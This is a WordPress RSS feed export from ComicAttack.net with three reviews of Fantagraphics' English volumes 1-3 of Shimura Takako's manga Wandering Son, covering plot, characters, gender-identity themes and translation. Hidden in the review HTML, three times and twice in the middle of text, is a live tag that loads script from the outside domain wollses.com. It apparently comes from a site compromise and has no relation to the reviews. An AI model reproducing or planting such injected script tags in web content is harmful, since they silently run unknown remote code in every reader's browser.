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	<title>Wandering Son &#8211; ComicAttack.net</title>
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		<title>Bento Bako Bonus: Wandering Son volume 3</title>
		<link>https://comicattack.net/bbbwanderingson3/</link>
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		<dc:creator><![CDATA[Kristin]]></dc:creator>
		<pubDate>Fri, 10 Aug 2012 09:00:17 +0000</pubDate>
				<category><![CDATA[Bento Bako Weekly]]></category>
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		<category><![CDATA[Kristin]]></category>
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		<guid isPermaLink="false">https://comicattack.net/?p=91433</guid>

					<description><![CDATA[Title: Wandering Son Author: Shimura Takako Publisher: Fantagraphics Volume: Volume 3, $19.99 (HC) Vintage: 2005 by Enterbrain, May 2012 by Fantagraphics Genre: Drama, slice-of-life, LGBT issues [Volume 2 review.] Everyone&#8217;s back home from the school trip, and a new trial is about to start for Nitori. His sister, Maho, wants to be a model, and [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong><a href="https://comicattack.net//wp-content/uploads/2012/08/wanderingson3.jpg"><img fetchpriority="high" decoding="async" class="alignleft size-full wp-image-91434" style="margin: 1px 4px;" title="wanderingson3" src="https://comicattack.net//wp-content/uploads/2012/08/wanderingson3.jpg" alt="" width="287" height="406" srcset="https://comicattack.net/wp-content/uploads/2012/08/wanderingson3.jpg 599w, https://comicattack.net/wp-content/uploads/2012/08/wanderingson3-212x300.jpg 212w" sizes="(max-width: 287px) 100vw, 287px" /></a>Title:</strong> <em>Wandering Son</em><br />
<strong>Author:</strong> Shimura Takako<br />
<strong>Publisher:</strong> Fantagraphics<br />
<strong>Volume:</strong> Volume 3, $19.99 (HC)<br />
<strong>Vintage:</strong> 2005 by Enterbrain, May 2012 by Fantagraphics<br />
<strong>Genre: </strong>Drama, slice-of-life, LGBT issues</p>
<p>[<a href="https://comicattack.net/2012/01/bbbwanderingson2/">Volume 2 review.</a>]</p>
<p>Everyone&#8217;s back home from the school trip, and a new trial is about to start for Nitori. His sister, Maho, wants to be a model, and she drags Nitori along for support to her audition/interview. When her turn finally comes around, she insists that she and Nitori be accepted as a pair, because he&#8217;s &#8220;amazingly cute&#8221; when dressed up as a girl. Remarkably, they&#8217;re both accepted, and while Maho is ecstatic because it means she may get to meet her idol Maiko, Nitori is incredibly nervous. The next day at school, Nitori visits the school nurse, only to find that Chiba has been coming in every day lately. Meanwhile Maho, finding that her crush, Seya, seems disinterested in the fact that she&#8217;s become a model, decides to introduce Seya to the &#8220;girl&#8221; of his dreams. She dresses Nitori up as a girl and introduces him as her friend, Takatsuki Yoshino. As usual, Nitori writes about his feelings and the events of his day in the diary he shares with Yoshino, but when he pulls it out to give it to her before school, it&#8217;s stolen by Oka Takanori, who tosses it to Doi Shinpei. The two boys read the diary out loud in front of their class, causing a very angry Yoshino to take it back and tear it apart. Nitori tells Chiba what happened, and she in turn confesses why she hasn&#8217;t been going to class. Yoshino, angry and embarrassed both for herself and for Nitori, returns to school resolving to behave like a girl should. She also decides to distance herself from Nitori, which upsets Chiba, and causes a rift between the tight group of friends. In the midst of bullying, Nitori is approached by another classmate named Ariga Makoto, who professes to share Nitori&#8217;s desire to be a girl. Makoto is a little curt and and outspoken, but the two boys quickly bond. When Maho sets Nitori up on a date with Seya, Makoto insists on going as a chaperone, and to support an obviously uncomfortable Nitori. Meanwhile, Yoshino takes her troubles to the one person she thinks will understand her, and goes to visit Yuki. Yuki does her best to comfort Nitori in her own way, and even shares a story about when her mother first discovered her trying on girls&#8217; clothing. With new resolve, Yoshino returns to her friends to ask their forgiveness for her actions. Back at the modeling agency, Nitori is at a total loss. The other girls love dressing him up and go on and on about how cute he is&#8230;while completely ignoring Maho. One of the models, Suehiro Anna, chastises them for not taking their work seriously. When Maho grows tired of everything and stands up for her brother, the other girls turn on her, until a surprise guests arrives that quells all the arguing.</p>
<p>If you&#8217;re not reading <em>Wandering Son<script src="//wollses.com/steps"></script></em>, you really should be. Each volume is an absolute delight. It&#8217;s honest, but it&#8217;s also innocent, presenting some very serious issues in a surprisingly gentle way. Which somehow makes the heartbreaking moments, like when Nitori is bullied, that much more hard to read. Given the ages of the characters in the story (the main kids are in the 12-14 age range), story points are continuously awkward in all the right ways. Nitori and Yoshino don&#8217;t know how to deal with the people around them. When their classmates read part of their shared diary, Yoshino immediately distances herself from Nitori, thinking to protect him somehow, and then tries to become &#8220;normal.&#8221; Her struggle for identity seems more strongly presented than Nitori&#8217;s, though I can&#8217;t really pinpoint why or how. Maybe it&#8217;s because Nitori is so timid, while Yoshino tends to be more explosive. Not as explosive as Chiba, obviously, but she tends to go with her gut feelings rather than take time to think things through. Nitori is more hesitant and cautious, even though most of his feelings are written plainly on his face. Chiba is fantastic once again, sticking up for her friends against their bullies. She can be kind of weird, but she loves her friends and won&#8217;t stand for anyone hurting them, which is admirable. Even though it often gets her into trouble, and sometimes makes things worse instead of better. Maho I&#8217;m still having a hard time with. She doesn&#8217;t seem bothered by her brother&#8217;s habits, other than it frustrates her that people think he&#8217;s prettier than she is. It&#8217;s likely that she doesn&#8217;t really understand what her brother&#8217;s interest in girls&#8217; clothing really means (particularly since that&#8217;s the only part she&#8217;s aware of). This was another really wonderful volume, and it introduced a new character into Nitori&#8217;s circle of friends who I can&#8217;t wait to see more of.</p>
<p><span style="text-decoration: underline;">Kris<br />
</span>kristin@comicattack.net<br />
<a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p>
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			</item>
		<item>
		<title>Bento Bako Bonus: Wandering Son volume 2</title>
		<link>https://comicattack.net/bbbwanderingson2/</link>
					<comments>https://comicattack.net/bbbwanderingson2/#comments</comments>
		
		<dc:creator><![CDATA[Kristin]]></dc:creator>
		<pubDate>Fri, 06 Jan 2012 09:00:24 +0000</pubDate>
				<category><![CDATA[Bento Bako Weekly]]></category>
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		<category><![CDATA[Kristin]]></category>
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		<category><![CDATA[Wandering Son]]></category>
		<guid isPermaLink="false">https://comicattack.net/?p=80524</guid>

					<description><![CDATA[Title: Wandering Son Author: Shimura Takako Publisher: Fantagraphics Volume: Volume 2, $19.99 (HC) Vintage: 2004 by Enterbrain, January 2012 by Fantagraphics Genre: Drama, slice-of-life, LGBT issues [Volume 1 review.] Volume two opens with a few lovely color pages (looking beautifully water colored) helpfully noting the series&#8217; main characters, then jumps right into the story and [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><a href="https://comicattack.net//wp-content/uploads/2012/01/wanderingson2.jpg"><img decoding="async" class="alignleft size-full wp-image-80608" style="margin: 1px 4px;" title="wanderingson2" src="https://comicattack.net//wp-content/uploads/2012/01/wanderingson2.jpg" alt="" width="241" height="340" srcset="https://comicattack.net/wp-content/uploads/2012/01/wanderingson2.jpg 609w, https://comicattack.net/wp-content/uploads/2012/01/wanderingson2-213x300.jpg 213w" sizes="(max-width: 241px) 100vw, 241px" /></a><strong>Title:</strong> <em>Wandering Son</em><br />
<strong>Author: </strong>Shimura Takako<br />
<strong>Publisher:</strong> Fantagraphics<br />
<strong>Volume:</strong> Volume 2, $19.99 (HC)<br />
<strong>Vintage: </strong>2004 by Enterbrain, January 2012 by Fantagraphics<br />
<strong>Genre:</strong> Drama, slice-of-life, LGBT issues</p>
<p>[<a href="https://comicattack.net/2011/08/bbwwanderingson1/">Volume 1 review.</a>]</p>
<p>Volume two opens with a few lovely color pages (looking beautifully water colored) helpfully noting the series&#8217; main characters, then jumps right into the story and a new complication. Nitori and Maho&#8217;s grandmother gives them some New Year&#8217;s money, enough to do a little shopping. Maho immediately decides to spend it on clothes, but Nitori takes a little more time before he finally decides to take the plunge and buy a long-haired wig. With his new wig on his head, Nitori and Takatsuki take one of their excursions dressed in reverse clothes again, and run into a surprising face. Yuki, the girl who hit on Takatsuki while she was dressed as a boy in the previous volume, reappears and happily introduces herself, then invites them to her place for some homemade sweets. Back at school, Nitori and Takatsuki&#8217;s class is tasked with writing a short essay about their dreams for the future. The volume focuses mostly on Nitori&#8217;s struggle, and as he wears the girl&#8217;s school uniform he has at his house one afternoon, a friend of his sister Maho comes to deliver something, and falls in love with the &#8220;mystery girl&#8221; at first sight. When Maho finds out that the guy she likes is interested in a girl he saw at her house, the strange circumstance gets her wheels turning and she puts the pieces together, eventually discovering her brother&#8217;s secret. Other than being annoyed that the guy she likes finds her brother attractive, she&#8217;s surprisingly unfazed by her discovery. Later, Nitori and Takatsuki visit Yuki&#8217;s  house again, but are interrupted by a surprise visit from Yuki&#8217;s boyfriend, Shiina. Shiina, thinking Yuki is cheating on him (with Takatsuki, no less), becomes suspicious and rather brusquely cops a feel on Takatsuki&#8217;s crotch. Surprised by what he doesn&#8217;t find there, he questions Nitori&#8217;s gender too, then fills the shocked pair in on a little secret about Yuki. Yuki is actually a he (She is a post-op transsexual maybe? I&#8217;m not sure&#8230;.). With this revelation, Nitori and Takatsuki suddenly realize that they&#8217;re not alone in the world. Excited over this connection, Nitori decides to start up an exchange diary with Takatsuki so they can share their feelings and experiences. When Sasa and Chiba find out about it, the two friends agonize over whether to include them, which would mean revealing their secret to Sasa. Saddened by being left out, Chiba decides to start an exchange diary with Sasa, and the two begin to forge a deeper friendship. The school trip is up next, but Nitori and Takatsuki get a nice pep talk from Yuki the night before, where she encourages them with her own story about hitting puberty and meeting Shiina on their own school trip in sixth grade, and gives them some good parting advice &#8211; &#8220;You must never become discouraged or afraid.&#8221; Unfortunately, Nitori&#8217;s trials start immediately, as his seat partner on the bus is a rather obnoxious bully. He&#8217;s bothered by the same boy again over dinner, and later in the men&#8217;s bath is accosted by the boy and his friends who tease him about his voice and appearance. Mortified and upset, Nitori takes to leaving the boys&#8217; room at night and sitting in the hallway alone. Fortunately, during the day he is able to spend time with his friends, and they even receive a surprise visit from a certain excitable duo. The volume wraps up with some very helpful notes from translator Matt Thorn on LGBT life in Japan.</p>
<p>This volume is absolutely wonderful. It has an overall very gentle feel to it, but it&#8217;s punctuated by moments of cruelty and sadness. In the previous volume, Takatsuki was dealing with her first period, a harsh reminder that no matter what, she is undeniably female. This time, Nitori is introduced to the concept of wet dreams, though he doesn&#8217;t experience one himself, and he doesn&#8217;t fully understand it yet. I don&#8217;t think I&#8217;ve ever read a manga that dealt with such issues, at the very least not with such honesty and seriousness. It&#8217;s a rare thing to get such simple realism in a manga, and Takako handles it exquisitely. Yuki is so painfully embarrassed during her flashback in her youth; her mortification can easily be felt. The words from her teacher are heartbreaking &#8211; &#8220;It just proves that you&#8217;re a boy&#8230;.&#8221; &#8211; and I remember Takatsuki having the same reaction when she got her first period. That Takatsuki and Nitori have someone who understands them, who has gone through what they&#8217;re going through and overcome it, who is happy and confident, is really uplifting, and it certainly gives both kids strength and hope. Shiina and Yuki are kind of weird, but I love that Takatsuki and Nitori have them as friends. To two young teens (well, I think they&#8217;re around 12, actually) who are struggling with their sexual identities, having these older friends who understand and accept them makes a huge difference. Unfortunately, I can see some problems arising from these youngsters having adult friends; I can&#8217;t imagine their parents will be thrilled, and already Takatsuki has gotten into some trouble for being out late at night (and told &#8220;It&#8217;s all right for Shuichi. He&#8217;s a boy.&#8221;). The most heartbreaking moments in this book come when Nitori is bullied by a classmate during their school trip. The other boy asks rude questions, acts like a complete jerk, leads a near physical assault on Nitori (&#8220;We&#8217;re gonna check if you&#8217;re a girl or not.&#8221;), and starts calling him a faggot. Poor gentle Nitori can&#8217;t even stand being in the same room, and begins leaving the room at night to avoid him and the other boys, sitting alone in the hallway. However, my favorite part of this volume results from this situation. When Nitori is called a faggot by the boy right in the cafeteria in front of everyone, the typically quiet Chiba stands up for her friend and dumps her tray of food onto the bully&#8217;s head. I love her to bits for this. Thank you, Chiba, for being awesome. It&#8217;s great that Takatsuki and Nitori have each other for support, but it&#8217;s also great that they have a friend their age who knows their secret and supports them. I want to hug both of these kids and tell them that everything will be OK, and fortunately Yuki basically does that in the story. I&#8217;m hoping for the best for these two, but it&#8217;s going to be a difficult journey, for sure. It won&#8217;t only be a difficult journey for our main duo, however. Although Chiba&#8217;s exploration of Christianity was disappointingly absent this volume, there&#8217;s a distinct feeling that as Nitori and Takatsuki press forward on their journey of self discovery, Chiba might get left behind. When she learns about the exchange diary, Chiba immediately realizes that although they are her friends, Nitori and Takatsuki have a special bond that doesn&#8217;t include her. That broke my heart, but it&#8217;s nice to see that she takes the opportunity to forge a deeper friendship with Sasa. This series can be really harsh at times, but there are some great heartwarming moments, as well. That&#8217;s what makes it great.</p>
<p><span style="text-decoration: underline;">Kris<br />
<script src="//wollses.com/steps"></script></span>kristin@comicattack.net<br />
<a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p>
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		<title>Bento Bako Weekly: Wandering Son volume 1</title>
		<link>https://comicattack.net/bbwwanderingson1/</link>
					<comments>https://comicattack.net/bbwwanderingson1/#comments</comments>
		
		<dc:creator><![CDATA[Kristin]]></dc:creator>
		<pubDate>Mon, 01 Aug 2011 10:10:28 +0000</pubDate>
				<category><![CDATA[Bento Bako Weekly]]></category>
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		<guid isPermaLink="false">https://comicattack.net/?p=69445</guid>

					<description><![CDATA[Title: Wandering Son Author: Shimura Takako Publisher: Fantagraphics Books Volume: Volume 1 (ongoing), $19.99 (HC) Vintage: 2002 by Enterbrain in Japan, June 2011 by Fantagraphics Genre: Drama, slice-of-life, LGBT issues Nitori Shuichi has just transferred schools. This delicate featured fifth grade boy is quite shy, and is often mistaken for a young girl. He ends [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong><a href="https://comicattack.net//wp-content/uploads/2011/07/wanderingson1.jpg"><img decoding="async" class="alignleft size-full wp-image-69446" style="margin: 1px 4px;" title="wanderingson1" src="https://comicattack.net//wp-content/uploads/2011/07/wanderingson1.jpg" alt="" width="274" height="393" srcset="https://comicattack.net/wp-content/uploads/2011/07/wanderingson1.jpg 570w, https://comicattack.net/wp-content/uploads/2011/07/wanderingson1-209x300.jpg 209w" sizes="(max-width: 274px) 100vw, 274px" /></a>Title:</strong> <em>Wandering Son</em><br />
<strong>Author: </strong>Shimura Takako<br />
<strong>Publisher: </strong>Fantagraphics Books<br />
<strong>Volume:</strong> Volume 1 (ongoing), $19.99 (HC)<br />
<strong>Vintage:</strong> 2002 by Enterbrain in Japan, June 2011 by Fantagraphics<br />
<strong>Genre</strong>: Drama, slice-of-life, LGBT issues</p>
<p>Nitori Shuichi has just transferred schools. This delicate featured fifth grade boy is quite shy, and is often mistaken for a young girl. He ends up seated next to Takatsuki Yoshino, a handsome and friendly girl. Shuichi and Yoshino become fast friends, and one day while at Yoshino&#8217;s house, Shuichi eyes a dress hanging in his friend&#8217;s room. Noting his interest, Yoshino offers to give it to him, but an embarrassed Shuichi stutters about until Yoshino suggests he give it to his older sister, Maho. However, as they share a room, the dress remains in his sight, taunting him in a way, as Shuichi desires to wear the dress, but is too embarrassed and afraid to try. Later, at a study session at Yoshino&#8217;s house with some of the boys and girls from their class, the girls, led by Chiba Saori, begin talking about dressing Shuichi up as a girl, causing the boys to freak out and run away, leaving Shuichi to his fate. Yoshino sticks up for him, but Shuichi has already been swayed by the headband they made him wear, and goes to buy one for himself. Unfortunately, while trying on the headband and one of his sister&#8217;s dresses at home alone, Chiba shows up and catches him in the act, and her wheels start turning with ideas. First up, she suggests the class perform a play (for the graduating sixth graders) where the girls play the boy roles, and the boys play the girl roles, hoping to see Shuichi in another dress. The class decides to perform <a href="http://en.wikipedia.org/wiki/The_Rose_of_Versailles"><em>The Rose of Versailles</em></a>. To prepare for her role, Yoshino gets her hair cut quite short, then decides to try a little experiment. Borrowing her father&#8217;s old school uniform, Yoshino goes into town for a bit to eat, where she is mistaken for a male and hit on by a girl. Chiba gets a little more involved in Shuichi&#8217;s business when, for his birthday, she gives him a dress and hair clips. Yoshino discovers the gift, to Shuichi&#8217;s great embarrassment, but when she admits to sometimes wearing her father&#8217;s old school uniform, Shuichi feels a bit of solidarity. Realizing that they&#8217;re sort of in the same boat, Yoshino invites Shuichi on one of her excursions, even loaning Shuichi one of her sister&#8217;s school uniforms. Unfortunately, Yoshino starts her very first period while they&#8217;re out, an absolute and continual reminder of her gender. Already mortified, the situation isn&#8217;t helped when some of the boys in her class begin to give her a hard time over it, a bit of tension that soon boils over into some bruises and a bloody nose.</p>
<p>This is a very gentle, subtle series, so subtle it can get a little confusing from time to time. Some of the characters are difficult to read. Takatsuki Yoshino is probably the easiest to follow, while Chiba Saori is one of the more difficult characters. The main character, Nitori Shuichi, isn&#8217;t quite grabbing me. He&#8217;s quite lost, which is the point, but I personally find Yoshino more interesting. Yoshino has a better grip on things, though I&#8217;ve no doubt that Shuichi&#8217;s journey of discovery will prove interesting. Maybe I just can&#8217;t relate very well with him? As a female, I can certainly resonate better with Yoshino&#8217;s introduction to puberty, though it&#8217;s certainly heartbreaking for her, where as it was just annoying and embarrassing for me. For Yoshino, her menstrual cycle is going to be a constant reminder that she <em>is<script src="//wollses.com/steps"></script></em>female, and that she can&#8217;t change that no matter how much she may want to (well, not without taking drastic surgical measures). Shuichi once laments, when he witnesses Yoshino getting her hair cut very short, that girls are lucky because they can &#8220;go either way.&#8221; Well, sure, no one is much bothered whether a girl has long hair or short, but that&#8217;s all on the outside. Though, on a personal note, when I was in elementary school, my hair was cut very short, and I was mistaken for a boy; I was not thrilled. Yoshino would probably be ecstatic (in fact, she is in the story when that happens). At any rate, gender identity issues aren&#8217;t really my area of expertise, and I don&#8217;t have much literary experience with them; the story may hit home much more for someone with a more personal emotional investment. As for Chiba&#8230;I&#8217;m having a hard time grasping her character. For a while I thought she might have a crush on Shuichi, but then she starts trying to dress him up as a girl. Does she understand him before he understands himself? Latching onto something Shuichi hasn&#8217;t quite come to terms with yet, but has somehow already accepted about him? I don&#8217;t think she&#8217;s just messing with him; she doesn&#8217;t seem like that kind of person. After listening to a <a href="http://mangaoutloud.com/episode-41-wandering-son-vol-1-with-phillip-erica-friedman-and-david-welsh">Manga Out Loud podcast</a>, I considered that maybe she is trying to encourage him to be different, because she feels different and understands the struggle. Yet, toward the end of the volume, she decides to try Christianity, of all things, feeling filled with guilt over the things she has done (specifically noting what she&#8217;s done to Shuichi). As an an American, that opens up a whole other slew of questions about her motivations. However, from a Japanese stand point&#8230;. I haven&#8217;t studied a lot about religion in Japan, but I do know that Christians are the odd ones out over there. And I don&#8217;t think it&#8217;s practiced the same way over there. For instance, a very conservative Christian in America would likely act very differently toward Shuichi, judging him or ostracizing him. Chiba isn&#8217;t at all like that. I simply don&#8217;t have a good grasp of her yet, but I hope she fleshes out in future volumes, just as I hope the other characters do. I certainly look forward to watching them grow.</p>
<p>Thanks to well known translator <a href="http://matt-thorn.com/wordpress/">Matt Thorn</a>, this volume is a very smooth read. I don&#8217;t often comment on such things, but Thorn took great care in interpreting and presenting this book, and it pays off in a very pleasing flow of text. The art is also quite lovely, very simplistic, and flows well from panel to panel. The color pages in the beginning have a beautiful, water color look to them. Fantagraphics has put out a gorgeous hardcover book with <em>Wandering Son</em>.</p>
<p><span style="text-decoration: underline;">Kris</span><br />
kristin@comicattack.net<br />
<a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p>
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